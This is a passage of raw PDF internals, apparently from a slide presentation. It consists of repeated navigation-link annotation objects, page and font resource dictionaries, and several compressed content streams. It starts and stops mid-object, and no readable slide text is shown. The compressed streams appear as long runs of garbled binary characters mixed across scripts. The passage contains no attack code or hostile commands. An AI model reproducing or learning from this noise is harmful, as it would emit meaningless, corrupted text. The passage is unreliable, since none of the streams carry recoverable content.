.5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1049 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1050 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1051 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1052 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1053 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1054 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1055 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1056 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1057 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1058 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1059 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1060 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1061 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1062 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1063 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1035 0 obj << /D [1065 0 R /XYZ 334.488 1.245 null] >> endobj 1067 0 obj << /D [1065 0 R /XYZ 334.488 1.245 null] >> endobj 1064 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F63 525 0 R /F69 778 0 R /F66 559 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm18 561 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm8 169 0 R /Fm9 170 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1104 0 obj << /Length 1945 /Filter /FlateDecode >> stream xZKo7WT"CrȭAm U]wfؕRbIp >ÙIJSKo7)Je0^KNL1BX|p֋^uq 36A5iޞc6DT[x٘(IA{O8Z:4T$=DޞcTbB#MlDa6bo,vQAjU+$xcA@6fe!s+K MtIسR1 .Qt}_2)dLmA` t&A݉I[y3AsgfvT=N$o@} HO}$4:5M (oh=-bo϶ĭ! Nf.LZғ#Ã=(ob!+V#[Ѿ,ѾSVUٮRg%_doJ?lķ3L#PcS E\HFBc!4Hp!(m8A߱R£Di.JPW[36(iQVB5(3ԅZOE{*ip )(RJA՘ cU7(k`k VtmTo7g}jeVIE:\oUOc[JuMue_s"iZQU$$c,FMli1rd'%():tu=CcqMN[:@Z= Yn&9fsasz{:9XǰfaiX#}rCl5L9cGCea`D-}Q=KMH3niu=( /I7$=5KB}7YS ~zZ%4-h s7nOd&YJx vhi>LrQsn&rs#,bh2ZMH#:0 Qe,cb?9K@ù0vl繶l4i..ۦJxB: FyAY=C7雘tBGQzߑdQ pDϧ~ c3"2sB3k:cw-6{d qdˆGSXQ6AR{} M'`Z\mƸ^#tHw 8|55Է=Ib#pHh Q BR雡sL(!MF|CO j|h'Z}4fRn(_wn$?$}]-ZY"?LψxB55|4{W^P8v뷁1 0_O݅1uĆvxp"]HHAO3 ^x ~rhj4~0/)545 Mٍ2hHf Pp_;eMJ ovjփE1% @{Εe8zsegqX0q|#{ǚsJNSTSjSԝ4RE~_ Op3;Dg˺a=8}_H ̶|hgw\rUFJ> /Parent 922 0 R /Annots [ 1074 0 R 1075 0 R 1076 0 R 1077 0 R 1078 0 R 1079 0 R 1080 0 R 1081 0 R 1082 0 R 1083 0 R 1084 0 R 1085 0 R 1086 0 R 1087 0 R 1088 0 R 1089 0 R 1090 0 R 1091 0 R 1092 0 R 1093 0 R 1094 0 R 1095 0 R 1096 0 R 1097 0 R 1098 0 R 1099 0 R 1100 0 R 1068 0 R 1069 0 R 1070 0 R 1071 0 R 1072 0 R 1073 0 R 1101 0 R ] >> endobj 1074 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1075 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1076 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1077 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1078 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1079 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1080 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1081 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1082 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1083 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1084 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1085 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1086 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1087 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1088 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1089 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1090 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1091 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1092 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1093 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1094 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1095 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1096 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1097 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1098 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1099 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1100 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1068 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 172.918 167.034 184.921] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1069 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 146.577 151.749 158.022] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1070 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 121.61 101.969 131.123] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1071 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 92.779 253.638 104.223] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1072 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 82.756 97.058 91.573] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1073 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 70.801 164.763 79.618] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1101 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 41 0 obj << /D [1103 0 R /XYZ 28.346 246.281 null] >> endobj 996 0 obj << /D [1103 0 R /XYZ 334.488 1.245 null] >> endobj 1105 0 obj << /D [1103 0 R /XYZ 334.488 1.245 null] >> endobj 1102 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm20 641 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1137 0 obj << /Length 2568 /Filter /FlateDecode >> stream x[s_qyI }#L:SK{:ɚEp䑱(Y\sX,4*V9`k%CyVI#'u%h0բ.n0=lUq\JFj[Nt5k LH-1֜Q@ſCJh+n%x>|֍aFʆyr/Dw'㕐^WQrU;*靮~Pkcog4h:"ck47Sh! UŪ0u{EMFC)rƤڞ;15*-qf[FJOffӀP6fb cIAa"9r1F'CvDZ!ړ-aFH3Nzҳ{Wa |y߃,SDzIz#O-> -F${)?{ ,T&nFg/d^Y|ɮk3L3P愶0np xlHZq.,8}Fe=6P9>9Aa-d@njrtxn;V߆O8r}Ѐg3D8.|UkL_~v4LxNhd'Mg})rk'=  F7?0=nE! oZ72?,$W8V,:甬ۨ_keױUEHW Z&bEp4ES󟽸^qVEǜR=cUP<ɬiUHCj< rgP0]St966z9z3-k\c?C?bNT#cÓrlǗE6B_[8ji3z$\8o>tc3q{;$,#I:'QJRA. ͅ3S< x^{39EO`|b}fl=19 rг`]d~`?m}Θ[x!%VI9}lo C3_:u9(ILx@ OE]+Kr e#~b!ٛ(o]2.~#VmaqbJ;㓔^Ӈu籐p$;Z~UXP{,@`Fף-~ЉU6tC֖e% 6̤^0aO2A*cF5T&6uSkZKgx4 %FO6u[nUPahH+%zZեj\*{oKj@c5˰&Za.o=}[oz70t+$^\E1\E!oA&NH8@O"x3ll39525f(!et>```[?=IsTPFdov~Ä)?aB4Bhm1Kvyt'و}s I4$p!pFv=&$1~Z(gU]tÖeE1 !kJqp4viHΧE_A03X*o/%DGgvcq<T/'vŠBp{t'݂f:@yJ1!@;燏a'G6ÙD.fkϽ{E(z ոTa>1*}`Ƃ41a صyajD²7*m n?q0*g^lF, `U۽1H4:^kѬàyL[VE&RLm i(lPq hb52÷ΥD $R$$ST| OA2)H6>3?P.UpL!oCi}̺Fd^Nu_F{ٺLqMMdJUo(p--7 ܭ w˧C&nCKC͛qwf؜"f",xӕRŦ|?rU5G?R ɟ󛒰{>m@nu)OB`cRGB0?j Œ endstream endobj 1136 0 obj << /Type /Page /Contents 1137 0 R /Resources 1135 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1107 0 R 1108 0 R 1109 0 R 1110 0 R 1111 0 R 1112 0 R 1113 0 R 1114 0 R 1115 0 R 1116 0 R 1117 0 R 1118 0 R 1119 0 R 1120 0 R 1121 0 R 1122 0 R 1123 0 R 1124 0 R 1125 0 R 1126 0 R 1127 0 R 1128 0 R 1129 0 R 1130 0 R 1131 0 R 1132 0 R 1133 0 R 1134 0 R ] >> endobj 1107 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1108 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1109 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1110 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1111 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1112 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1113 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1114 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1115 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1116 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1117 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1118 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1119 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1120 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1121 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1122 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1123 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1124 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1125 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1126 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1127 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1128 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1129 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1130 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1131 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1132 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1133 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1134 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1106 0 obj << /D [1136 0 R /XYZ 334.488 1.245 null] >> endobj 1138 0 obj << /D [1136 0 R /XYZ 334.488 1.245 null] >> endobj 1135 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1171 0 obj << /Length 2919 /Filter /FlateDecode >> stream x[KoGW!̸ߏ\Y2dXRz4EZER﷪9P)YALuWwu k^7y~6W@a4sR7Š ,-Ovs9.Ff ;ruk LH-*c: :rLJ)modvm.tflG-By[Ѩ8oq4Use*h]CN9 z!.t$$ yXO 5v6H/Iea.., >CObIӠڅЙYo|YFo[G \/+W9w_2ͰyyX!6@~ӟLM| eeoI{HG8ls_^qgSt:ߡf,~z xq1j-sg/gU+)QY)f>iQC4HfM2\ ]wD;} $wAmay:Fq=Σ7SXc/{NT'cãqlxǗՔvR_;8[;3:Ԣf|Ip|nɌkxbVAj8= ™)}=xE>Ja(C7W71Oz,Z)i#zshQڨs{7M yss@K,(` m}}j͠;0D4) OonCYP8T\†p?i$@)uU DT.4hJ<EG~`kZ\Tzylgtt'fhGഎ٫Maq S~Ԧu{DQXA;-_=e[2Ft֒V\>i ||Ԗ\m3$6LI&HdCӠjĶljC:Y9ĢDW5gnL<evj%(^Y> AIvM(K KGrX#rcF͕dhT9$W'^9lEΨπ_}+T/-pd0`WP`p`7=mH^zl0)T.tgTX.n `'lZƴ1/蜓8=Z ~.h*hq\|=/ {LTBB*F.?Q0vH,6@|!}!>pK|2&R<-V\!@O*lA[S<;z8CiV=Е\S*3f7I\<",>]$+? ? :pMKrcDD}u 5z.]t) {0+_b-o v9:yx:÷b6_O'ɥ A.A|BFtaX Q2o1Zz}R};}$A嶗mE:k*O} CHelbY`Q.%[ 2պ}f7N!yZ zO[яIpR#F!}xFcܗ<#~R|ܳ1C^ A&i ۢ]_/ ~N^=M Gx| u<7nxLNa Q-!QE:{PF%eT6\_߹_ʄ_O7+qbhOoLJ>Cot -KKNI]3Z.0>)|_I {=<;y$}~X]CySeB⛟G xЏQw2+I endstream endobj 1170 0 obj << /Type /Page /Contents 1171 0 R /Resources 1169 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1141 0 R 1142 0 R 1143 0 R 1144 0 R 1145 0 R 1146 0 R 1147 0 R 1148 0 R 1149 0 R 1150 0 R 1151 0 R 1152 0 R 1153 0 R 1154 0 R 1155 0 R 1156 0 R 1157 0 R 1158 0 R 1159 0 R 1160 0 R 1161 0 R 1162 0 R 1163 0 R 1164 0 R 1165 0 R 1166 0 R 1167 0 R 1168 0 R ] >> endobj 1141 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1142 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1143 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1144 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1145 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1146 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1147 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1148 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1149 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1150 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1151 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1152 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1153 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1154 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1155 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1156 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1157 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1158 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1159 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1160 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1161 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1162 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1163 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1164 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1165 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1166 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1167 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1168 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1140 0 obj << /D [1170 0 R /XYZ 334.488 1.245 null] >> endobj 1172 0 obj << /D [1170 0 R /XYZ 334.488 1.245 null] >> endobj 1169 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F61 311 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R /F66 559 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1204 0 obj << /Length 2997 /Filter /FlateDecode >> stream xko~)}h' IKJ ##NwfAR;xjq;v/N ^w(~^(#SU!dBjQ]icȼ9ѶU5EeRw HSPSF)* a<}unefC6㈭RKkqQ(RLpLWDCWT)c(s "*UHh$'yWBvsr7a*cŎfa޻bHm*(9FfRmO8*Qc\ׂ)eq06B 2[4@M%89!QeEtr.bhACT 퉗tK6lNDG9y 54~qω\XB~IjyKOH$Lн5*SoNlħR҉(_mxI,9%=1\tSbc,Bqh{6u~q\ %)Qe 5}#M4R~^#&&3/<.j%wb^Nqr~Nr0%05*]87#+ak 9yS]L`"h#[ @$ 